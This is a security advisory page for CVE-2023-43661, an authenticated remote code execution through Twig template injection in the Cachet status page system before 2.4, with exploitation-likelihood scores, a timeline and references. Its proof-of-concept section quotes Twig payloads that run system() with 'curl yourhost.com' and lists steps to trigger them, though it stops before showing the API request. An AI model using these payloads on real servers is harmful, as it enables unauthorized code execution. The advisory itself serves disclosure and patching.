CVE-2023-43661: Cachet vulnerable to Authenticated Remote Code Execution

Should you act?

High exploit likelihood

EPSS ranks it in the top 5% of all CVEs for likely exploitation in the next 30 days. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.

• Not in CISA KEV, but CISA’s SSVC assessment records a public proof-of-concept, so attack code exists.
• EPSS 51.5%, percentile 99: FIRST’s model estimates a 51.5% chance of exploitation activity in the next 30 days, higher than 99% of all scored CVEs (very high). EPSS is a probability, not a verdict.
• Needs an account (low (any account)). Exposure depends on who can log in.
• Only applies if your dependency tree includes cachethq/cachet (Composer (PHP)) < 2.4, fixed in 2.4. Check your lockfile, including transitive dependencies.

What it is

Cachet is an open-source status page system. Prior to the 2.4 branch, a template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Commit 6fb043e109d2a262ce3974e863c54e9e5f5e0587 of the 2.4 branch contains a patch for this issue.

From the GitHub advisory

Summary

A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within /cachet/app/Http/Routes/ApiRoutes.php, and attacker could control template input which is passed to laravel's dispatched handler /cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.

This vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version 2.4.

PoC

1. Log in as a default user (non-admin); 2. Create an incident with name slug1 and with content: {{ ['curl yourhost.com','']|sort('system') }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce('system','curl yourhost.com')}}; 3. Get an API token from your account settings (X-Cachet-Token); 4. Trigger remote code execution using the api route:

Weakness type: CWE-94, CWE-74.

Product: cachethq/cachet (Composer (PHP)) · Assigned by: GitHub_M · Published: 2023-10-11

Affected and fixed versions

Severity scores

• Attack vector: network (remotely reachable)
• Attack complexity: low
• Privileges required: low (any account)
• User interaction: none
• Scope: changed (can affect other components)

CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.

Exploitation and urgency

• CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
• CISA SSVC assessment: exploitation poc, automatable no, technical impact partial.
• FIRST EPSS (model of 2026-10-21): 51.48% probability of exploitation activity in the next 30 days; percentile 99.

Timeline

• 2023-10-11 — CVE record published by GitHub_M
• 2023-10-16 — GitHub-reviewed advisory GHSA-hv79-p62r-wg3p published (critical)
• 2026-10-20 — CVE record last updated

Sources and references

Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.

Vulnerability records

1. GitHub Advisory GHSA-hv79-p62r-wg3p github.com
2. CVE.org record CVE-2023-43661 cve.org
3. NVD entry CVE-2023-43661 nvd.nist.gov

Other references from the CVE record and advisory

1. github.com github.com
2. github.com github.com

Critical Composer (PHP) advisories · Today’s Security Digest